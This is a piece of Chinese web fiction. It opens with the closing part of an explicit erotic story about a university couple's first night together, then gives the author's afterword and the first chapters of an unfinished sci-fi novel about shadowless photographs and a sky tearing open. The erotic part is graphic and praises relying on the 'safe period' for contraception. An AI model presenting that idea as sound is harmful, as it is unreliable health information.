　　陆羽宁抵住她的额头，就这样近距离地看着她的眼睛，然后开口：“这就是我的答案，你还满意吗？”随后邪魅一笑。

　　满意个鬼啊！我快窒息了！

　　还不等她开口，陆羽宁就离开了她的额头，松开了她的手，然后继续说道：“其实我很早的时候也想过这个问题，我到底配不配得上你……你又漂亮，又可爱，温柔优雅，还做得一手好菜，在我累的时候不无理取闹，反而贴心地为我分担工作……”

　　杨雪韵越听越感动，打断了他：“我没你说的那么好……”

　　他笑了笑，说：“我也没有你想得那么好呀！”

　　听到这句话，杨雪韵也笑开了。

　　好像确实是这样，自己那些习以为常的举动在他眼里都是这样，他肯定也是一样的吧？自己一天都在胡思乱想些什么。

　　“答案，你还满意吗？”

　　“嗯！”杨雪韵重重地点了点头，随后粲然一笑。

　　“不过啊……”

　　陆羽宁的话题一转，又把她吸引住了。

　　“刚才说你的哪些好处，都是为了哄你而现编的。”陆羽宁大笑起来。

　　随后，陆羽宁就感觉到腰间的肉巨疼无比。

　　“那个……你稍微等我一下好吗？我想去买个东西。”杨雪韵对着他说。

　　“需要我陪你吗？”

　　“不用，我自己一个人去就好。”

　　“那好吧，我也去买个东西，之后咱们在这里汇合，我不乱跑了。”

　　“嗯。”

　　然后杨雪韵走进一家超商，停在一排花花绿绿的盒子停下了脚步。

　　因为她在刚刚说要去买东西之前，想起以前，他来人来人往中安抚哭泣的小孩的那个场景了。那个小孩不知道为什么，在原地大哭，但是因为是在大厅里，人来人往，都比较忙，没人管，有的甚至还对那个小孩投以厌恶的表情。就是这样的一个场景，他蹲下来，摸着那个小孩的头，露出温柔的笑，后来做鬼脸逗那个小孩子开心，等那个小孩子情绪安定下来，牵着他的手走开了。之后怎么样，她就不知道了，毕竟那是在和他成为恋人之前的事了。开始她以为他就是那个小孩的亲人来着，后面看见他那个笨拙的安抚手法和不熟悉的样子，她才知道这是一个陌生人。她当时觉得，这个人肯定很温柔吧，也没有多想，更想不到日后会和他成为男女朋友了。

　　现在，在这一排花花绿绿的盒子前面，想到这件事，她忽然变得很疯狂。

　　疯狂地想要她和陆羽宁的孩子。

　　她在犹豫着要不要拿，毕竟她想要归想要，但不得不考虑现在的情况。也是为以后做打算。

　　最终，她下定了决心。各种意义上的决心，拿了一盒。然后跑去买了其他的食材，一起结了帐。

　　“回来了？”

　　“嗯。”

　　又是这种没有营养的对话。不过她毫不在意。

　　“你买了什么啊？”她随意地问着。

　　“称了一点你爱吃的橘子。”

　　听到这句话，她愈加坚定了内心的决心。

　　“你呢？”

　　“我？买了一点晚饭的食材。”她没有提那个盒子。

　　“今晚，去我家吧？”她试探性地问道。

　　“好啊。不过，你父母呢？”

　　她没想到，他竟可以答应得这样轻松。

　　“他们啊，今年不回来过。他们那么恩爱，天天度蜜月，死在外边好了。”说起她父母她就来气。

　　陆羽宁只能苦笑。

　　“你家里有多余的床位吗？”

　　“有啊。”她才不会说没有呢。

　　“那就好，我不太习惯睡沙发。”陆羽宁似乎有点安心。

　　之后两人都没有再说话，似乎都有点紧张，又似乎各自心怀鬼胎。两人手牵手走着。

　　就这样走着，一直走到了杨雪韵的家里。

　　“话说，我还是第一次来你家欸。”

　　“对啊，紧张吗？”她开始调侃起来。

　　“有点啊。不过我很好奇你的房间是怎样的，那种粉嫩粉嫩的吗？”他也毫不客气地调侃回去。

　　“才不会呢。”她笑了笑。

　　紧张的气氛在一瞬间就化解了。

　　之后，他们一起做了饭吃，陆羽宁大为赞叹杨雪韵的手艺，夸她以后一定能成为一个好新娘。惹得杨雪韵脸上的红浪一阵一阵的。

　　还一起看了电视，不过杨雪韵差点在陆羽宁肩上睡着。

　　两人先后洗了澡。

　　时间一分一秒地过去，夜很快就深了，等到陆羽宁准备睡觉的时候，才发现这个家里根本没有供客人睡的房间，只有她和她父母的房间。

　　这个小妮子……又骗我……我服了……陆羽宁真的已经拿她没办法了。

　　看来今晚要睡沙发了……

　　“我今晚睡沙发吧。”

　　“不行，我怎么能让自己的男朋友睡沙发？”

　　“那我睡哪儿？”

　　“睡那间房里。”杨雪韵指了指一个房间。

　　陆羽宁瞪大了眼睛。

　　“那不是你的房间吗？你脑袋傻了吗？”陆羽宁被气笑了，这个傻女人。

　　“就是那里。”杨雪韵的语气很坚决。

　　“……你，是认真的吗？”陆羽宁静静地看着她。

　　“我很认真。”

　　“……”

　　杨雪韵的床上。两个人。互相背着身。

　　“你还醒着吗？”杨雪韵翻了一个身。面向他的背。

　　“嗯……这种情况怎么可能睡得着啊……”陆羽宁在黑暗中苦笑。

　　“也是……”杨雪韵声音渐渐落了下去，但又马上开口。

　　“我啊，从小就不是一个让人省心的孩子，贪玩，不好好学习，坏事倒是做了很多。所幸没有惹出大祸。附近的人都说，我没有一个女孩子的样子。高考也是，考差了，考到这里来，初上大学的时候，一直都在懊悔，自己怎么没有好好学，要不然也不是这个样子了。直到我遇见了你。我不知道你是怎么考到这所学校里来的，或许跟我一样是考差了到这里来的。不过那些都不重要了。我遇见你的时候，被你的光芒所吸引，你不像我，一直在懊悔，而是一直在往前考虑，我很佩服。后面得知你还有那么多的优点之后，我更加佩服了，五体投地，从那之后开始默默关注你。后面在我闺蜜的指点之下，我才发现，我喜欢你。她还怂恿我去表白，但是我不敢，人生第一次表白啊，很重要的。但是后面实在是听她们说得烦了，我就和你说了，当时几乎是抱着必死的决心去的呢，因为我一直都没有一个 ‘女孩子的样子’ 嘛。不过没想到你居然同意了。后面成为你的女朋友之后，我越来越觉得自己配不上你……其实今天的那种担忧，很久以前就有了，只是今天才说出来。我也一直在学着你，不要懊悔，向前看，我也下定决心，不再让自己感到后悔，所以……”

　　从她开始说的时候，陆羽宁就只是默默地听着，听到最后，他感觉到了她似乎要说什么重要的东西，于是把床头的头打开，翻了一个身，面对着她，直视着她的眼睛，等待她继续说下去。

　　她顿了顿，咽了一口口水：“今晚，我想成为你的东西。我想要你。”

　　然后，她也直视着他的眼睛。

　　杨雪韵最后的几个字重重地敲击在陆羽宁的心里，而她的眼神之中，是毫无保留的信任和坦诚。

　　所以，他的决定只有一个了。

　　陆羽宁吻了上去，打开她的唇舌，热烈而疯狂地吻了上去。时间比白天还要长。直到喘不过气来，两人才分开，然后看对方一眼，又热吻起来。

　　杨雪韵感觉今天的吻，刺激比以往任何都要强，她从来不觉得，深吻是这样一件令人愉快又痴迷的事情。她今天重新认识了接吻，所带来的感觉。

　　慢慢地，陆羽宁到了杨雪韵的上方。

　　他身下是面色潮红的恋人，一头秀发凌乱地散在洁白的床单上。

　　杨雪韵绝对不知道自己的这副样子，到底有多么魅人心弦，撩拨男人发狂。

　　而杨雪韵此时只是专注地看着，这个骑在她身上，即将占有她，侵犯她的男人。但是她丝毫不感觉害怕，两只撑在她脑袋旁边的手，像是为她造了一个小家似的，让她感觉很安心。

　　“因为我是第一次……所以，要温柔一点哦？”她抚摸着他的脸，这样请求着。

　　“嗯，我会的。”陆羽宁轻轻地答道。

　　其实她不用猜也知道，毕竟，他平时就那么温柔。

　　然后陆羽宁又俯下身，攻击着她的嘴唇，同时一颗一颗地解开她睡衣的纽扣，等到再次起身时，杨雪韵的整个上身已经在他的眼下暴露无遗。

　　他贪婪地看着这个可爱女孩的上身。精致的锁骨，细嫩的皮肤，光滑的肚子，纤细的手臂，以及那两颗不大，但是却丰满圆润的玉乳。

　　杨雪韵的胸部不是很大，但形状很健康，看得出来平时有在好好保养。乳晕也不大，粉红色的，将她同样粉红色的，小巧可爱的乳头包围起来。可能空气比较冷，抑或是她比较紧张，她的乳头会随着她的呼吸一起微微颤抖，看起来很可爱，满是色情的味道。

　　“不要看这么久啊……”杨雪韵感受到他长时间停留在自己乳房上的视线，羞耻地快要找地缝钻进去了。满脸通红。

　　但是他也看太久了吧……感觉像在被他视奸一样……

　　难道他对自己的胸部不满意吗？

　　“果然是我的胸部不够大吗？”她幽幽地叹了一口气。

　　“啊……没有没有，”这回轮到陆羽宁慌起来了，“男孩子啊，只要能看见喜欢的女孩子的胸部，就已经很开心了。大小没有那么重要。”陆羽宁拼命解释。

　　他拼命解释的样子真可爱啊……

　　“我可以摸一摸吗？”陆羽宁小心地问。

　　“嗯，它本来就是属于你的东西。”杨雪韵轻声说道。

　　陆羽宁随即覆上了那团柔软。那是他从未感受过的，女孩子的柔软。那是一种无与伦比的美妙。

　　不过他也知道，要想让杨雪韵也感觉到舒服的话，不能马上爱抚她的乳头，要慢慢地，揉捏她的乳房，在她的乳晕周围画圈，慢慢地挑逗起她的性欲，到最后爱抚她的乳头的时候，刺激会强上几百倍。

　　或许，可以让她高潮也说不定。

　　而一旁的杨雪韵浑然不知，她只觉得很害羞，很舒服。这和她以往揉捏自己的胸部不同，这次的手，是她喜欢的人的手，她也完全不知道，这只手，下一秒会做出什么让她惊叫的动作。

　　会揪自己的乳头吗？还是说，揉搓？她的心里隐隐地有些期待。

　　但是过了一段时间，都没有见他对乳头有什么动作，她开始急了。

　　她能感受到，自己的乳头，很寂寞，很想要他的爱抚。在他只是看着她胸部的时候，自己的乳头就已经很硬了，经过他的爱抚之后，她的乳头就更加想要了，像一块小石子一样，坚硬地挺立在她的胸部之上。

　　这是她的生理反应，她无可奈何，但是，再这样下去的话，她知道自己的乳头会寂寞到疯掉的。

　　陆羽宁看见了，她不经意间泄露出来的，焦急的表情，邪气地笑了笑。

　　时间……差不多了呢……

　　然后，他用手用力地捏住她的乳头，同时，用嘴含住了她另外一颗上翘挺立的蓓蕾，用力吸住，用牙齿轻咬。

　　“啊、啊……等、等下，不要……这样，玩弄啊……”杨雪韵忍不住叫出声来。

　　她的乳头从来没有接受过这样的刺激，一边是干燥的手指用力捏住，往外揪所带来的微微疼痛的快感，另一边是湿润的口腔，用力吸住她的乳头，直到快要吸掉那样的极致的享受。两边快感交织在一起，直冲她的大脑，让她的大脑瞬间宕机，什么也想不了，只剩她的乳头所带来的快感。她的子宫开始有点疼痛了，她很想要他，太想要了。

　　看着她被快乐冲击得奄奄一息的样子，陆羽宁开心地笑起来。然后他开始吻她身体上的各个地方，同时扒下她的睡裤。脖子，手臂，肚子，等等几乎上身所有部位都落下了吻痕。红红的一块，这里那里，到处都有。

　　他满意地看着眼前这个状况。她已经被他打上了标记了。

　　然后他看向杨雪韵的下体。那里只剩了一条小内裤了。淡蓝色的，很有她的风格，上面还镶有花边，蝴蝶结，甚至在肚脐下面的那一块布料上面，还有大面积的蕾丝，以及一个小小的蝴蝶结，挂在正中间。

　　看起来很可爱。

　　“真是可爱啊……”陆不由得说出来。

　　“哪有……”雪韵嘴硬着不肯承认，但是心里还是很高兴。

　　“不过，你已经这么兴奋了啊……”他摸了摸她股间的那点布料，发现那里早已经泛滥成灾。湿掉的区域有非常大一片。这个信息让他更加兴奋了。

　　“笨蛋，那种事情不要说出来啊……”她双手捂面。

　　杨雪韵怎么可能不知道。自己的那里现在肯定因为兴奋过头而泥泞不堪了。她甚至自己能感觉到，自己的爱液正在往外流，一点，一点，再一点。

　　“我要脱了哦？”他把手放在她的腰间，准备将她唯一的保护褪去。

　　“啊，嗯……”她现在很害羞。因为自己的那里，是第一次给别人看啊。

　　陆羽宁将她的可爱内裤脱了下来。

　　途中，她的隐私部位同她可爱内裤之间连成的爱液连线，在灯的照耀下反射出淫猥的光芒，看起来异常色情。她也看见了，羞耻心一下全部涌了上来。

　　自己有这么兴奋吗？原来那里的爱液已经这么多了啊……

　　这个事实又进一步刺激了她的爱液分泌。

　　至此，杨雪韵的那里，女孩子最重要的部位，在他眼前暴露无余。

　　陆羽宁也是第一次看见真正的，女孩子的性器官。一样兴奋不已，难以自持。细细端详了很久。

　　杨雪韵的小穴也是粉红色的，很可爱，而且不知道为什么，没有黑色森林，看起来就更加干净了。两瓣粉红会随着她的动作微微翕动，而这两瓣之间是泛滥的爱液，那是她兴奋的证明。稍微打开她的阴唇，里面的爱液就会像坍缩一样涌出来，明白了这一点，他已经兴奋到顶点了。

　　他开始用舌头深入她的身体，同时用手拨开阻碍，爱抚她那颗，兴奋红肿的小豆豆。

　　那是女孩子只为了感受快乐而存在的部位。

　　“喂，……等、等等……怎么，这、么突然……”杨雪韵快要疯掉了。

　　平时她都不怎么敢碰她自己的阴蒂，她太敏感，刺激又太强，她有点接受不了。而眼下陆羽宁将她的G点、阴蒂，一起刺激，这种感觉她实在是接受不了。

　　“真的，不……不要……碰那里啊……很敏感……我，我……受不了了，等下……等下……等等等等等，要高潮了——要高潮了——要高潮了……啊啊啊啊啊啊啊啊……”

　　她的美背大幅度地往后仰起，手紧紧地抓着床单，同时小腹一阵痉挛，胡乱地抖动，喷出大量的爱液，全部喷在了陆羽宁的脸上，进而往下滴，打湿床单。

　　杨雪韵高潮了。现在的她，面色潮红，疲惫不堪，但小腹依旧不时痉挛而吐出爱液。

　　陆羽宁看见她这副样子，再也忍不住了，胡乱地用被套擦了下脸，迅速脱下为数不多的衣物，将自己的坚硬，抵在她的小穴口。

　　她感受到了，往下一看，是让她眩晕的一幕：一根粗大得让人害怕的东西，正在向她那小巧可爱的小穴虎视眈眈。

　　这么大的东西……真的……能插进去吗……

　　陆羽宁知道她看见会害怕，于是压下自己的兴奋，对着她尽最大的温柔，说：“我要进去了，第一次可能会有些疼，实在太疼，忍不住的话，要和我说哦？不要逞强哦……”同时手摸着她的脸颊，看着她的眼睛，露出笑容。语气很轻，像是在安抚一个小动物那样。

　　“嗯……”杨雪韵答应了下来，但好像随即又想起了什么，把她实现的买来藏在床单下面的那个盒子拿了出来。

　　“你什么时候买的……”陆羽宁看到了苦笑不堪。

　　“今天晚上。”

　　陆羽宁正要伸手去拿，没成想杨雪韵迟疑了一秒却又把手缩回去了。

　　“怎么了？”

　　“我想了想，还是决定不要了……”杨雪韵开口，然后看着他的眼睛，“因为是第一次……我想完完整整地感受你，”然后她从他的身下爬起来，吻了他一下，“今天也刚好是安全期，没关系，所以，答应我，射进来，好吗？”说完，她一笑。把那个盒子放了回去。

　　然后她又回到原来的位置，并把他的双手拉过来，放在自己的腰间。

　　那是男女交欢时，男方经常按的位置。

　　注意到这个细节，陆羽宁深受感动。

　　“嗯，那我要进去了……千万不要逞强啊？”

　　“嗯。”

　　这是两个人的承诺。

　　然后，杨雪韵感受着他的东西，一步步地分开她紧闭的肉壁，一点点地插进她的身体，一点点地侵犯她。

　　陆羽宁感受到了什么。一狠心，贯穿了进去。

　　“啊！——”她大喊一声。同以前欢悦的叫声不同，明显的是疼痛的嘶喊声。听得陆羽宁直心疼。

　　好疼！怎么能这么疼！杨雪韵觉得他现在每动一下都是在割裂她的身体一般，下体传来撕心裂肺的疼痛。

　　自己的纯洁终于被他夺走了。肉体上的疼痛和心灵上的欢愉交织在一起，形成一种复杂的感觉。

　　陆羽宁保持着这个深度，俯下身去吻住她的女孩儿。玩弄她的胸部，抚摸她的腰间，想尽一切办法分散她的注意力，减少她的疼痛。

　　而杨雪韵知道他不抽动，反而爱抚起她是为了什么。

　　他果然很温柔啊……

　　他的欲望埋在她的体内，就这样持续了一段时间。直到她开口。

　　“可以动了。应该没有那么疼了。”她轻轻地开口。

　　“嗯，现在开始，之后会越来越舒服的。所以，刚开始要忍一下，可以吗？”他看起来还是有点担心，不过还是这样说了。

　　“嗯。我会的。”她轻轻地应了一声。

　　于是他开始抽动起来。

　　刚开始还是很疼，不过渐渐地，杨雪韵感觉没那么疼了，而是越来越舒服，但是这个时候，之前所造成的糟糕后果才开始显露出来——她潮吹过一次啊。

　　疼痛渐渐褪去，敏感的穴肉带来的快感开始占领她的感官。

　　因为她之前高潮过一次，现在她比以前更加敏感，所以当陆羽宁的冠状沟每一摩擦她的嫩肉，都会让她发狂。

　　她甚至觉得，男孩子的那根就是她们女孩子的天敌。需要时时刻刻提防，不然会深陷无尽的快乐漩涡。

　　“你……慢点、我，我，才——高潮过啊——”

　　杨雪韵不得不求饶了。

　　这样下去她会疯掉的。

　　现在她的敏感程度已经到了，他抽插三次她就会小高潮，而大高潮她不知道什么时候会来临。

　　现在完全是她喜欢的这个男人在控制她的身体。让她高潮只是一瞬间的事情。

　　而陆羽宁此时已经完全不能自持了，他疯狂地抽插着杨雪韵的身体，想要把她玩坏，想要让她高潮连连，跪地求饶。尤其是当他看见，她小巧可爱的小穴肉，会随着他的不断抽插而翻进翻出，这种感官刺激只会让他加速他的动作。

　　这具美丽的身体现在是我的，这个女孩儿现在沉迷于我的身下，我想让她继续高潮……

　　陆羽宁现在也已经疯掉了。

　　他每次都抽到快要掉出她的身体，插进去又整根喂到底，不断顶撞她的子宫口。他甚至想要破开她的子宫口，插进她那禁忌的子宫里面，撞击她的子宫内壁。全是这样疯狂的想法。

　　杨雪韵这边也被他这个举动弄疯了。

　　她以前没有深入到她的子宫颈，现在她才知道，她的子宫颈跟她的小豆豆一样敏感。每次他一口气插进来，撞击到她的子宫颈的时候，她都感觉自己灵魂被撞击了一般，大脑一片空白，什么也思考不了，只能一次又一次地感受，这股让人发疯化掉一样的快乐。那种快乐，像是在宣告着这具身体是假的，她的子宫颈才是真身一样。

　　两人都已经被交欢的快乐所侵蚀。

　　“啊……啊、啊，我、我——不行了，再，再……高潮下去、要、、要死掉了……不要——再顶子宫了……我，真的……会疯掉的……哈、、哼啊……我、、真的……不、不行了——啊啊……”

　　“饶……饶了我吧——之、之后，，什么都会……听你的————不要、再——插了……”

　　杨雪韵现在只想求饶。她的子宫已经不能再接受刺激了，再被他抽插，她明天就下不了床了。

　　“再坚持一下……我也快去了……”他喘着粗气低声说道。

　　“你，——你快一点……我、坚持，，不了……多久了——”

　　她仿佛抓到了希望。但下一秒又是让她抓狂的绝望——

　　陆羽宁在疯狂抽插她的同时，玩弄起了她的阴蒂和乳头。

　　敏感的子宫颈被不断撞击，敏感的阴蒂被手指揪住，乳头被往外拉扯。虽然力道都不大，但是三路同时的攻击交织起来，让她快要失声。之前脑子只是变得空白，这次，直接让她变得混沌，脑袋里只剩下了快感。

　　以后，没有他，我绝对活不了了……我的身体，已经离不开他了……

　　“啊啊啊——不行了，不行了，不行了——去了——去了——去了啊啊啊啊啊啊啊啊啊！！！！！！！！！！”

　　杨雪韵又高潮了。史无前例的高潮。她的小腹大幅度痉挛起来，同时腰身狂乱地弓起来，爱液像被压瘪的水龙头那样疯狂地往外喷，完全不管还在抽插的陆羽宁。

　　爱液全部溅在陆羽宁的下体上，然后顺着大腿往下流。

　　“我也射了！”

　　陆羽宁说完这句话之后，将自己的下体抵在她的子宫颈上，在杨雪韵娇小的体内释放了他全部的欲望，一阵又一阵冲击力极强的精液破开子宫颈，打到她的子宫内壁，然后回流。

　　“啊……哈啊，哈啊，啊……好烫……”杨雪韵感觉自己的子宫要被烫伤了。里面全是属于他的东西。她子宫装不下的精液顺着她的通道全部流了出来。

　　感受着精液在她子宫里不断地流动，她又轻微地高潮了。

　　两人此时已经极度疲惫，就连她身体里的东西都还没有抽出来，就这样抱着睡了过去。

　　第二天早上，杨雪韵被在自己体内不断胀大的，陆羽宁的东西所惊醒。

　　看了看四周的狼藉，想起昨晚自己在他身下婉转承欢，高潮连连的样子，她的脸霎时被羞耻密布。

　　杨雪韵小心地将他的东西从自己身体里抽出来之后，总感觉她的股间少了点什么，身体不适应。她感受到了这一点只能苦笑了。

　　这个笨蛋……还说温柔……温柔个鬼……明明自己都那样求饶了却还是不放过我……

　　心里抱怨着，却升起一阵甜蜜和温暖。

　　看着他正香的熟睡脸，她拉开了窗帘。

　　一瞬间，阳光洒满卧室。

　　今天，也是个好天气啊！~~~~

　　未完待续。

写在最后

　　1. 文中部分标点不符合现代汉语规范，请宽松看待（不然我也不知道娇喘怎么表达orz；

　　2. 破开子宫颈是不可能的，不要想了；

　　3. 虎头蛇尾真是抱歉，不过我后面真的已经写得很累了；

　　4. 祝您身体健康。

　　频道：http://t.me/TinySnow4Yi

　　频道主&作者：南国微雪(@TinySnow)

其他小说

其他小说，或者小说相关内容，均未完篇。

第一章 冲击

　　沃朗德最近总是有点烦躁不安，但是他说不清是为什么。像是地震来临前的动物一样，有一种从内心散发出来的恐惧，在自己的房间里团团转。

　　他看了看日历，2191 年 3 月 31 日。一个平淡无奇的日子。

　　但是他有一种预感，3天之内，绝对会发生什么。

　　为了让自己冷静下来，他坐在床沿上，闭上眼睛，开始深呼吸。一分钟后，他自己感觉稍微好了一点点。

　　“怎么还是这个鬼样子啊！！！”他把刚拿起的书狂躁地扔在地上。书的内容是一点都看不进去，这种状态已经有几天了。就是因为这该死的感觉。

　　以前也有，但是最近愈发强烈起来。

　　他转头地望见了窗外。

　　外面仍是一片风和日丽。太阳温和地照着每一个人，风静静地拂过这片刚重建不久的家园，仔细听甚至还会有一点树叶的沙沙声。梦幻得有一点不现实。明朗到他怀疑是不是回光返照。

　　“去拍一张吧，以后或许不会再有这样的景色了。”

　　他内心隐隐地有这样的感觉。

　　拿起手边的相机，对着窗外拍了一张。

　　“或许就这样去散散心也不错。”

　　就这样，他拿着相机，下楼，开门，散步去了。


　　在这个星球的另一端，也有一个人做出了相同的举动。并且惊人的合拍。


　　第二天。

　　“你不去上班吗？”沃朗德的母亲一边洗碗一边问道。脸上挂着温和的笑容。

　　“今天请假了。”沃朗德随口答道。然后注意力又回到了相机上那昨天拍摄的照片。

　　开玩笑，我这完全静不下心，去上班也没用。他心里暗自吐槽。

　　沃朗德的工作单位是一个科研机构，什么都研究的那种。随着技术大爆炸，现在对于社会有用的学科基本都属于交叉学科，所以这种科研机构多如牛毛。

　　一张一张又一张，他无聊地翻着昨天的照片。

　　到一张两个小孩子玩耍的照片时，他突然停下了。

　　不对劲。

　　不对劲。

　　不对劲。

　　那是一张在公园拍的张片，两个小孩子在堆着沙丘玩，旁边还有一些大人在聊天，秋千吱呀呀地晃着。太阳依旧把它的金光慷慨地洒在每一个人的身上。

　　看起来没什么异常。

　　但是，他有着作为一名科学家该有的敏锐，这张照片一定有着有违常理的地方。

　　他打开电脑，拷贝了这张特殊的照片，然后继续翻了下去。

　　一张，两张，三张……

　　不对劲的照片越来越多。翻完了所有的照片，他把这些不对劲的照片集中起来看。

　　看到最后，握鼠标的手有些颤抖。

　　沃朗德这时候才发现那个不对劲的地方有多么简单。

　　那两个小孩当中有一个没有影子！

　　其他照片当中也有类似的现象。

　　在这个科学就是生产力的时代，这样的现象如果公布出去无疑会造成社会性的恐慌和灾难。

　　但是他怎么都不相信，会有这种诡异的事情发生。


　　他知道现在他有事做了。

　　他打电话到他的研究所里，叫了几个他最信任的人，下达了出去拍照片的指令。

　　那几个研究员之前还在吐槽沃朗德这种工作狂今天没来上班，接到电话后却恭恭敬敬起来。然而听到这个指令后一头雾水。但也只好照办了。

　　沃朗德自己也匆忙拿起外套和相机朝外狂奔。

　　“喂！你去哪儿啊！”

　　“上班！！！”

　　“午饭呢？不吃了吗？”

　　“我自己解决！！！”

　　话音刚落，他就已经跑出去很远了。

　　“这孩子……”他妈妈对着已经做好的几盘菜无奈地笑笑。

　　明明还专门做了他爱吃的碎米牛肉啊，看来得留到下顿了。

　　等等，上班？他不是请假了吗？

　　他妈妈这时候才意识到这个问题。

　　而沃朗德这个时候已经到了那两个孩子所在的公园了。他有赌的成分，赌这两个小孩子会不会再次出现在这里。毕竟昨天那张照片上的沙丘还没有堆完。

　　很幸运，他赌赢了。

　　但是他看到眼前这个景象，不由得怀疑起了自己的眼睛。

　　仍是风和日丽。一切没有任何异常。甚至，影子也都在。

　　“不会是我相机出了问题了吧。”

　　他怀疑自己的相机，怀疑自己的眼睛，甚至怀疑起了自己那聪明的脑袋，如果有可能的话，他想好好地睡一觉，毕竟自己都被那种奇怪的焦躁感搞疯了。

　　焦躁感……

　　等会儿……

　　他今天好像已经没有那种感觉了……

　　完蛋了。

　　他看了下腕表，下午 1:15。还有时间。

　　如果感觉没错的话，今天，一定会发生什么。

　　孩子们的玩闹声把他拉回了现实，他开始低头思考怎么处理这种情况。然后看到了脖子上挂着的相机。

　　对了，昨天看见的是照片……

　　他拿起相机，对准那个昨天没有影子的那个小孩子。还是有影子。

　　“咔嚓——”

　　按下了快门。

　　照片上的景象让他浑身战栗——

　　这次，两个小孩子，都没有了影子。

　　把相机拿开，眼中看到的仍是两个有影子的正常的小孩子。

　　事态已经超出了他的想象了。


　　“喂，沃博士？照片已经拍得足够了，这就给您发过去？”这时候一个研究员来了电话。

　　“回研究所，快！到时候再说！”他焦躁地对电话大吼，同时自己也向研究所跑去。

　　所幸研究所离公园不是很远。

　　但是电话那头的那几个研究员可傻了眼，他们从来没见过沃博士这么急躁过。同时也从博士的态度感觉到事态也有些超乎想象，急忙往研究所狂奔。虽然，他们自己都不知道为什么要这样做。

　　下午2点钟，正应该是火辣的太阳，却暗了一点。在所有人都没察觉到的情况下。

　　当沃朗德到了研究所的时候，所有派遣出去拍照的研究员都已经到了。

　　“把拍到的照片传给我！快！！！”沃博士对着那几个研究员喊道。声音很大，所有人都愕然地注视着他们。

　　沃博士一向很温和，也很善心，没看过他焦躁的样子，所以他们都很庆幸，能在这里工作。他比其他研究院的院长不知道好到哪里去了。这里研究氛围也很好，有很大一部分原因也是因为所有人都在一间大办公室里工作。没有什么隔阂，自然也就没了小团体。所有人有问题都可以第一时间提出来，并且互相讨论找到解决方案。而这最开始也是沃博士的建议。

　　难以置信。在场所有人心里差不多都是这么想的。

　　办公室里开始窃窃私语起来。

　　那几个研究员正在紧张地进行着工作。

　　沃博士没有管那些话语，打开电脑，远程连接屏幕，把昨天那些照片从他家里的电脑拷贝到了办公室里的这一台上。然后把刚刚拍到的那张魔鬼一般的照片也拷贝了上去。随后开始挑选刚刚那些研究员们拍摄的照片，放在了另一个文件夹里。

　　果然。

　　正中靶心。

　　他把那些研究员们叫过来，把这些照片投影在大屏幕上。

　　其他研究员们也好奇地凑过来看。

　　“有发现什么异常吗？”沃朗德注视着他们。

　　照片一张张地翻过，研究员们的脸从好奇逐渐变得惊恐起来。

　　“没有……影子……”有人喃喃道。脸上已经看不出是什么表情了。

　　“是的。”沃博士没有任何波动地说。投影仪的部分光打在他坚毅的脸庞上。像是一个冷酷的指挥者，看不出他在想什么。但就是这样的表情，这时候才带给了大家一种安心感。

　　毕竟还有沃博士在。

　　“这是我昨天拍的一张照片。这是我今天拍的。两张照片里是同样的人物，但是那两个小孩子的影子，昨天还有一个人有，今天就都没有了。”

　　“我最初怀疑是我的相机问题，但是前面那几个人拍的照片也有这种情况。”

　　“你们有什么看法吗？”沃朗德问。

　　原本鸦雀无声的会场骚动起来。

　　就在这时，两个把守在外面的卫兵慌慌张张地跑进来。

　　“报告！外面天黑了……”

　　“天黑了？！”

　　“这不是才下午吗？”

　　“开什么玩笑！”

　　……

　　在一片嘈杂声中，沃朗德看了看腕表，下午3：50。

　　终于来了吗。

　　这个世界会出什么事呢。

　　不知道为什么，他现在异常冷静。他就是这样的人，别人慌的时候他也会开始慌，但是当所有人都开始慌的时候，他反而会是最冷静的那一个，比之前没出事时还要冷静。

　　“所有人！紧急避难！”他朝所有人发出命令。

　　人流开始涌动。

　　所有人，相信他的，不相信他的，平时开他玩笑的，有时候看不惯他的，这时候都无条件相信并服从着他的命令。

　　有魔力一般。

　　当所有人都进入地下紧急避难室的那一刻，外面传来了一声巨响。

　　沃朗德紧盯着避难室里那块大屏幕，那是为了避难时能了解外部情况而配备的。

　　外面已经完全黑了，所以显示屏也是漆黑一片。

　　但是扬声器里，还能听到还在外面的那些人们声音中的焦虑，恐惧，和无力。

　　他把声音调小。

　　眼睛如狼盯着猎物一般，紧紧盯着屏幕。


　　在这个星球的另一端，一个名叫秋蕾雅的女人，正也注视着这一切。她的下属也都惊慌失措，一切都是那么相似，以至于他们日后谈起来都无比惊讶。


　　这个世界，到底会发生什么呢？……



　　南国微雪

　　2020 年 2 月 28 日

第二章 巨变

　　沃朗德紧盯着的那块屏幕上突然出现了一点蓝光。

　　紧急避难室里的人们都紧紧地盯着那块屏幕，屏住呼吸，等待着那个不确定的未来。扬声器里，外面的人们也都停止了骚动与恐慌，齐齐地望着那个本应该是太阳的位置。那是那一点点蓝光的所在地。所有人都在等着，像是被按下了暂停键似的，落针可闻。

　　一滴滴的汗水从沃朗德的手背流下来。

　　那点蓝光佁然不动，像是在与人们僵持着。沃朗德的心中有一种不好的预感。

　　汗，流得更加厉害了。

　　忽然，那点蓝光后面像是出现了一大堆的手下。它们也都是统一的蓝色，不过光芒比他们的首领更加微弱。一点，一点，再一点。最后天空中竟密布着那些诡谲的蓝色光芒。

　　人们没有看见过这样的景象，开始恐慌起来。有人从宕机的状态恢复过来，开始尖叫着朝自己的家中跑去。以这一声尖叫为信号，人们开始四散溃逃。目的地不明，只是逃着，凭借着对于未知的恐惧逃着。

　　那点蓝光像是看见这番景象似的，开始狞笑。把自己撕裂开来，形成一个蓝色的光圈，光圈中间是无尽的黑暗，比起那夜似乎都还要黑一点。而且那黑暗朝里面涌动着，像是在吮吸着什么。

　　简直像极了……黑洞。

　　然后，有什么，开始从那“黑洞”里坠落。坠落到这片正在努力从第一次高等战争的阴影下面恢复的土地。

　　那些手下的的蓝光纷纷效仿，开始撕裂自己，吐出些什么。

　　不同的是，那些“黑洞”的尺径不大，不如说，远小于他们的首领。而且，有的不明物体刚从那“黑洞”里出来就爆裂开来，像一团四散的烟火，然而他们并不像烟火那样还有残渣掉下来，而是爆裂开来就散在大气里消失不见了，像是从未发生过一般。还有的，从那“黑洞”里掉出来就变成了一团火焰砸向大地。像是微型彗星落到地球上了一般。还有的，掉出来就发出炽热的白光，耀得人张不开眼睛。

　　无数的未知物体，从天空往下掉，宛如瀑布一样。加上那些爆裂开来的，变成火焰的，发出耀眼白光的，一切的一切，像极了，上天赐予人类的一场黑色狂欢。

　　人们从未这么绝望过，就连在死伤超过全球一半的第一次高等战争里面也没有这样绝望。

　　人们见过核武器爆炸撼动板块的情形。

　　人们见过生物武器下高等动物是如何的脆弱。

